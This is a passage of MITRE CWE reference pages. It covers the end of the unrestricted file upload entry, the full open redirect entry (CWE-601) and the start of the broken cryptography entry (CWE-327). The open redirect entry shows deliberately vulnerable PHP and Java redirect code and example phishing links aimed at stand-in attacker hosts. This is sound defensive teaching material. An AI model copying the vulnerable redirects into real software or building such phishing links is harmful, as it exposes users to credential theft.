(where the weakness is typically related to the presence of some other weaknesses)
This can be resultant when use of double extensions (e.g. ".php.gif") bypasses a check.
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
This can be resultant from client-side enforcement (CWE-602); some products will include web script in web clients to check the filename, without verifying on the server side.
+ Detection Methods

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Functional Areas
  • File Processing
+ Affected Resources
  • File or Directory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 714 OWASP Top Ten 2007 Category A3 - Malicious File Execution
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 801 2010 Top 25 - Insecure Interaction Between Components
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 813 OWASP Top Ten 2010 Category A4 - Insecure Direct Object References
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 864 2011 Top 25 - Insecure Interaction Between Components
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1131 CISQ Quality Measures (2016) - Security
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1200 Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1308 CISQ Quality Measures - Security
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1337 Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1340 CISQ Data Protection Measures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1348 OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1350 Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1364 ICS Communications: Zone Boundary Failures
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1387 Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1416 Comprehensive Categorization: Resource Lifecycle Management
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1425 Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1430 Weaknesses in the 2024 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This can have a chaining relationship with incomplete denylist / permissive allowlist errors when the product tries, but fails, to properly limit which types of files are allowed (CWE-183, CWE-184).

This can also overlap multiple interpretation errors for intermediaries, e.g. anti-virus products that do not remove or quarantine attachments with certain file extensions that can be processed by client systems.

+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Unrestricted File Upload
OWASP Top Ten 2007 A3 CWE More Specific Malicious File Execution
OMG ASCSM ASCSM-CWE-434
+ References
[REF-422] Richard Stanway (r1CH). "Dynamic File Uploads, Security and You". <https://web.archive.org/web/20090208005456/http://shsc.info/FileUploadSecurity>. URL validated: 2023-04-07.
[REF-423] Johannes Ullrich. "8 Basic Rules to Implement Secure File Uploads". 2009-12-28. <https://www.sans.org/blog/8-basic-rules-to-implement-secure-file-uploads/>. URL validated: 2023-04-07.
[REF-424] Johannes Ullrich. "Top 25 Series - Rank 8 - Unrestricted Upload of Dangerous File Type". SANS Software Security Institute. 2010-02-25. <https://www.sans.org/blog/top-25-series-rank-8-unrestricted-upload-of-dangerous-file-type/>. URL validated: 2023-04-07.
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "File Uploading", Page 1068. 1st Edition. Addison Wesley. 2006.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-434. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution Date Contributor Organization
2024-02-29
(CWE 4.15, 2024-07-16)
Abhi Balakrishnan
Provided diagram to improve CWE usability
+ Modifications
Modification Date Modifier Organization
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
2008-09-08 CWE Content Team MITRE
updated Alternate_Terms, Relationships, Other_Notes, Taxonomy_Mappings
2009-01-12 CWE Content Team MITRE
updated Relationships
2009-12-28 CWE Content Team MITRE
updated Applicable_Platforms, Functional_Areas, Likelihood_of_Exploit, Potential_Mitigations, Time_of_Introduction
2010-02-16 CWE Content Team MITRE
converted from Compound_Element to Weakness
2010-02-16 CWE Content Team MITRE
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Name, Other_Notes, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships, Type, Weakness_Ordinalities
2010-04-05 CWE Content Team MITRE
updated Related_Attack_Patterns
2010-06-21 CWE Content Team MITRE
updated References, Relationship_Notes
2010-09-27 CWE Content Team MITRE
updated Potential_Mitigations
2010-12-13 CWE Content Team MITRE
updated Potential_Mitigations
2011-06-27 CWE Content Team MITRE
updated Relationships
2011-09-13 CWE Content Team MITRE
updated Potential_Mitigations, References, Relationships
2012-05-11 CWE Content Team MITRE
updated References, Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2014-07-30 CWE Content Team MITRE
updated Detection_Factors
2015-12-07 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Affected_Resources, Applicable_Platforms, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships, Weakness_Ordinalities
2019-01-03 CWE Content Team MITRE
updated References, Relationships, Taxonomy_Mappings
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns
2019-09-19 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Applicable_Platforms, Potential_Mitigations
2020-06-25 CWE Content Team MITRE
updated Potential_Mitigations, Relationship_Notes
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-12-10 CWE Content Team MITRE
updated Relationships
2021-03-15 CWE Content Team MITRE
updated Demonstrative_Examples
2021-07-20 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2022-04-28 CWE Content Team MITRE
updated Research_Gaps
2022-06-28 CWE Content Team MITRE
updated Relationships
2022-10-13 CWE Content Team MITRE
updated References
2023-01-31 CWE Content Team MITRE
updated Alternate_Terms, Description
2023-04-27 CWE Content Team MITRE
updated References, Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content Team MITRE
updated Observed_Examples
2024-07-16
(CWE 4.15, 2024-07-16)
CWE Content Team MITRE
updated Common_Consequences, Description, Diagram, Weakness_Ordinalities
2024-11-19
(CWE 4.16, 2024-11-19)
CWE Content Team MITRE
updated Relationships
+ Previous Entry Names
Change Date Previous Entry Name
2010-02-16 Unrestricted File Upload

CWE-601: URL Redirection to Untrusted Site ('Open Redirect')

Weakness ID: 601
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect. Diagram for CWE-601
+ Alternate Terms
Open Redirect
Cross-site Redirect
Cross-domain Redirect
Unvalidated Redirect
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope Impact Likelihood
Access Control

Technical Impact: Bypass Protection Mechanism; Gain Privileges or Assume Identity

The user may be redirected to an untrusted page that contains malware which may then compromise the user's machine. This will expose the user to extensive risk and the user's interaction with the web server may also be compromised if the malware conducts keylogging or other attacks that steal credentials, personally identifiable information (PII), or other important data.
Access Control
Confidentiality
Other

Technical Impact: Bypass Protection Mechanism; Gain Privileges or Assume Identity; Other

By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam. The user may be subjected to phishing attacks by being redirected to an untrusted page. The phishing attack may point to an attacker controlled web page that appears to be a trusted web site. The phishers may then steal the user's credentials and then use these credentials to access the legitimate web site. Because the server name in the modified link is identical to the original site, phishing attempts have a more trustworthy appearance.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Use a list of approved URLs or domains to be used for redirection.

Phase: Architecture and Design

Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.

Phase: Architecture and Design

Ensure that no externally-supplied requests are honored by requiring that all redirect requests include a unique nonce generated by the application [REF-483]. Be sure that the nonce is not predictable (CWE-330).
Note: Note that this can be bypassed using XSS (CWE-79).

Phases: Architecture and Design; Implementation

Strategy: Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 610 Externally Controlled Reference to a Resource in Another Sphere
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 19 Data Processing Errors
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 610 Externally Controlled Reference to a Resource in Another Sphere
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1019 Validate Inputs
+ Background Details
Phishing is a general term for deceptive attempts to coerce private information from users that will be used for identity theft.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Web Based (Undetermined Prevalence)

+ Likelihood Of Exploit
Low
+ Demonstrative Examples

Example 1

The following code obtains a URL from the query string and then redirects the user to that URL.

(bad code)
Example Language: PHP 
$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);

The problem with the above code is that an attacker could use this page as part of a phishing scam by redirecting users to a malicious site. For example, assume the above code is in the file example.php. An attacker could supply a user with the following link:

(attack code)
 
http://example.com/example.php?url=http://malicious.example.com

The user sees the link pointing to the original trusted site (example.com) and does not realize the redirection that could take place.


Example 2

The following code is a Java servlet that will receive a GET request with a url parameter in the request to redirect the browser to the address specified in the url parameter. The servlet will retrieve the url parameter value from the request and send a response to redirect the browser to the url address.

(bad code)
Example Language: Java 
public class RedirectServlet extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String query = request.getQueryString();
if (query.contains("url")) {
String url = request.getParameter("url");
response.sendRedirect(url);
}
}
}

The problem with this Java servlet code is that an attacker could use the RedirectServlet as part of an e-mail phishing scam to redirect users to a malicious site. An attacker could send an HTML formatted e-mail directing the user to log into their account by including in the e-mail the following link:

(attack code)
Example Language: HTML 
<a href="http://bank.example.com/redirect?url=http://attacker.example.net">Click here to log in</a>

The user may assume that the link is safe since the URL starts with their trusted bank, bank.example.com. However, the user will then be redirected to the attacker's web site (attacker.example.net) which the attacker may have made to appear very similar to bank.example.com. The user may then unwittingly enter credentials into the attacker's web page and compromise their bank account. A Java servlet should never redirect a user to a URL without verifying that the redirect address is a trusted site.


+ Observed Examples
Reference Description
URL parameter loads the URL into a frame and causes it to appear to be part of a valid page.
An open redirect vulnerability in the search script in the software allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL as a parameter to the proper function.
Open redirect vulnerability in the software allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the proper parameter.
Chain: Go-based Oauth2 reverse proxy can send the authenticated user to another site at the end of the authentication flow. A redirect URL with HTML-encoded whitespace characters can bypass the validation (CWE-1289) to redirect to a malicious site (CWE-601)
+ Detection Methods

Manual Static Analysis

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

Effectiveness: High

Automated Dynamic Analysis

Automated black box tools that supply URLs to every input may be able to spot Location header modifications, but test case coverage is a factor, and custom redirects may not be detected.

Automated Static Analysis

Automated static analysis tools may not be able to determine whether input influences the beginning of a URL, which is important for reducing false positives.

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 722 OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 801 2010 Top 25 - Insecure Interaction Between Components
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 819 OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 864 2011 Top 25 - Insecure Interaction Between Components
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 938 OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 990 SFP Secondary Cluster: Tainted Input to Command
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1345 OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1382 ICS Operations (& Maintenance): Emerging Energy Technologies
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Other

Whether this issue poses a vulnerability will be subject to the intended behavior of the application. For example, a search engine might intentionally provide redirects to arbitrary URLs.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
WASC 38 URl Redirector Abuse
Software Fault Patterns SFP24 Tainted input to command
+ References
[REF-483] Craig A. Shue, Andrew J. Kalafut and Minaxi Gupta. "Exploitable Redirects on the Web: Identification, Prevalence, and Defense". <https://www.cprogramming.com/tutorial/exceptions.html>. URL validated: 2023-04-07.
[REF-484] Russ McRee. "Open redirect vulnerabilities: definition and prevention". Page 43. Issue 17. (IN)SECURE. 2008-07. <http://www.net-security.org/dl/insecure/INSECURE-Mag-17.pdf>.
[REF-485] Jason Lam. "Top 25 Series - Rank 23 - Open Redirect". SANS Software Security Institute. 2010-03-25. <http://software-security.sans.org/blog/2010/03/25/top-25-series-rank-23-open-redirect>.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2007-05-07
(CWE Draft 6, 2007-05-07)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification Date Modifier Organization
2008-07-01 Eric Dalci Cigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08 CWE Content Team MITRE
updated Alternate_Terms, Background_Details, Description, Detection_Factors, Likelihood_of_Exploit, Name, Relationships, Observed_Example, Taxonomy_Mappings
2008-10-03 CWE Content Team MITRE
updated References and Observed_Examples
2008-10-14 CWE Content Team MITRE
updated Alternate_Terms, Observed_Examples, References
2009-03-10 CWE Content Team MITRE
updated Relationships
2009-05-27 CWE Content Team MITRE
updated Name
2009-12-28 CWE Content Team MITRE
updated Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Potential_Mitigations
2010-02-16 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Detection_Factors, Potential_Mitigations, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2010-04-05 CWE Content Team MITRE
updated Demonstrative_Examples
2010-06-21 CWE Content Team MITRE
updated Common_Consequences, Potential_Mitigations, References, Relationships
2010-09-27 CWE Content Team MITRE
updated Potential_Mitigations
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2011-06-27 CWE Content Team MITRE
updated Relationships
2011-09-13 CWE Content Team MITRE
updated Potential_Mitigations, References
2012-05-11 CWE Content Team MITRE
updated Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2013-07-17 CWE Content Team MITRE
updated References, Relationships
2014-07-30 CWE Content Team MITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings
2019-01-03 CWE Content Team MITRE
updated Related_Attack_Patterns
2019-06-20 CWE Content Team MITRE
updated Relationships, Type
2020-02-24 CWE Content Team MITRE
updated Applicable_Platforms, Potential_Mitigations, Relationships
2020-06-25 CWE Content Team MITRE
updated Potential_Mitigations
2021-10-28 CWE Content Team MITRE
updated Relationships
2022-04-28 CWE Content Team MITRE
updated Relationships
2022-10-13 CWE Content Team MITRE
updated Observed_Examples
2023-01-31 CWE Content Team MITRE
updated Related_Attack_Patterns
2023-04-27 CWE Content Team MITRE
updated Description, Detection_Factors, References, Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content Team MITRE
updated Demonstrative_Examples
2024-11-19
(CWE 4.16, 2024-11-19)
CWE Content Team MITRE
updated Alternate_Terms, Common_Consequences, Description, Diagram, Other_Notes
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 Unsafe URL Redirection
2008-09-09 URL Redirection to Untrusted Site
2009-05-27 URL Redirection to Untrusted Site (aka 'Open Redirect')

CWE-327: Use of a Broken or Risky Cryptographic Algorithm

Weakness ID: 327
Vulnerability Mapping: ALLOWED This CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses a broken or risky cryptographic algorithm or protocol.
+ Extended Description

Cryptographic algorithms are the methods by which data is scrambled to prevent observation or influence by unauthorized actors. Insecure cryptography can be exploited to expose sensitive information, modify data in unexpected ways, spoof identities of other users or devices, or other impacts.

It is very difficult to produce a secure algorithm, and even high-profile algorithms by accomplished cryptographic experts have been broken. Well-known techniques exist to break or weaken various kinds of cryptography. Accordingly, there are a small number of well-understood and heavily studied algorithms that should be used by most products. Using a non-standard or known-insecure algorithm is dangerous because a determined adversary may be able to break the algorithm and compromise whatever data has been protected.

Since the state of cryptography advances so rapidly, it is common for an algorithm to be considered "unsafe" even if it was once thought to be strong. This can happen when new attacks are discovered, or if computing power increases so much that the cryptographic algorithm no longer provides the amount of protection that was originally thought.

For a number of reasons, this weakness is even more challenging to manage with hardware deployment of cryptographic algorithms as opposed to software implementation. First, if a flaw is discovered with hardware-implemented cryptography, the flaw cannot be fixed in most cases without a recall of the product, because hardware is not easily replaceable like software. Second, because the hardware product is expected to work for years, the adversary's computing power will only increase over time.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope Impact Likelihood
Confidentiality

Technical Impact: Read Application Data

The confidentiality of sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.
Integrity

Technical Impact: Modify Application Data

The integrity of sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.
Accountability
Non-Repudiation

Technical Impact: Hide Activities

If the cryptographic algorithm is used to ensure the identity of the source of the data (such as digital signatures), then a broken algorithm will compromise this scheme and the source of the data cannot be proven.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis.

For example, US government systems require FIPS 140-2 certification [REF-1192].

Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak.

Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. [REF-267]

Phase: Architecture and Design

